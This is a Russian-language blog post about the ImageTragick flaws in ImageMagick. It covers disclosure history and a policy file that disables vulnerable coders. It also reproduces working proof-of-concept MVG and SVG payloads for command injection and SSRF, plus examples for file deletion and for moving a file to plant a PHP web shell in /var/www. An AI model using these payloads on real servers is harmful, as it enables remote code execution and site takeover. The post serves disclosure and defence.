Множество уязвимостей в ImageMagick, одна из которых ведёт к RCE

в 5:09, , рубрики: 0day, imagemagick, информационная безопасность, обработка изображений

Несколько часов назад Ryan Huber из отдела безопасности Slack анонсировал некую критическую уязвимость в софте, используемом множеством сайтов. Этим софтом оказался ImageMagick — популярный пакет для обработки изображений.

Краткая информация об уязвимостях размещена на сайте imagetragick.com. Да, без названия и сайта для уязвимости не обошлось и в этот раз, хотя изначально Райан писал, что никакого пафоса, включая название и сайт, не будет.

Уязвимость была обнаружена stewie и раскрыта на hackerone 21 апреля в репорте, по всей видимости, Mail.ru, ибо примерно через неделю после этого Николай Ермишкин из команды безопасности Мэйла нашёл возможность выполнить RCE. Обо всём этом, само собой, сообщили команде разработки IM. Те 30 апреля выпустили фикс, но уже 1 мая им сообщили, что фикс немножко не фикс. Поэтому 2 мая уязвимость раскрыли в листе рассылки разработчиков пакетов, основанных на IM, а 3 мая уязвимость раскрыли публично. Спустя несколько часов после этого на openwall появилось подробное описание с примерами эксплойтов. Но об этом чуть ниже.

Прежде всего, стоит заметить, что ваш сайт (вероятно) подвержен этим уязвимостям не только если вы используете IM напрямую, но и через различные пакеты, включая imagick в PHP, rmagick и paperclip в Ruby и imagemagick в nodejs.

Как защититься?

Для того, чтобы хоть как-то защититься, предлагается сделать хотя бы одну из двух следующих вещей (а лучше — обе).

  • прежде, чем отправить изображение на обработку в IM, проверить его «магические байты» — последовательность байт, по которой программы определяют формат файла. Да, расширение может не играть никакой роли, так как IM сам определяет формат именно по этой последовательности.
  • включить конфиг, отключающий подверженные уязвимостям декодеры. Файл должен выглядеть примерно так

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

Конфиги для IM обычно лежат в /etc/ImageMagick.

Как уже говорилось выше, патч к IM уже готов, но он неполный. Дело в том, что, как отмечают исследователи, уязвимость была найдена хакерами ранее и уже вовсю эксплуатируется.

Подробности уязвимостей и эксплуатация

CVE-2016-3714 Недостаточное экранирование символов, ведущее к возможному RCE

Тут проблема в том, то у IM есть фича delegate, при помощи которой IM позволяет обрабатывать файлы внешними библиотеками. По сути это вызов system() с командной строкой из файла delegates.xml. Одна из дефолтных команд

"wget" -q -O "%o" "https:%M"

где %M ссылка из входного потока. Например, можно прокинуть https://example.com"|ls "-la, что приведёт к выполнению ls -la (должны быть установлены wget или curl).

$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

Хуже всего то, что IM поддерживает форматы типа
svg, mvg, которые позволяют включать внешние файлы через любые поддерживаемые «делегатами» протоколы.

(exploit.mvg)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

(exploit.svg)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

Это сразу же напомнило мне про недавнюю уязвимость в ffmpeg, найденную cdump из того же Мэйла, кстати.

CVE-2016-3718 SSRF. Возможно выполнить HTTP GET и FTP запросы

(ssrf.mvg)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # выполнится HTTP запрос к example.com

CVE-2016-3715 Удаление файлов

При помощи псевдо-протокола ephemeral возможно удалять файлы.

(delete_file.mvg)

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # удалит /tmp/delete.txt

CVE-2016-3716 Перемещение файлов

Используется другой псевдо-протокол — msl.

(file_move.mvg)

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

(/tmp/msl.txt)

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif — картинка с PHP-шеллом внутри, например, https://www.secgeek.net/POC/POC.gif .

$ convert file_move.mvg out.png # переместит /tmp/image.gif в /var/www/shell.php


Пост будет дополняться с появлением новых подробностей.

Автор: MaxxArts

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js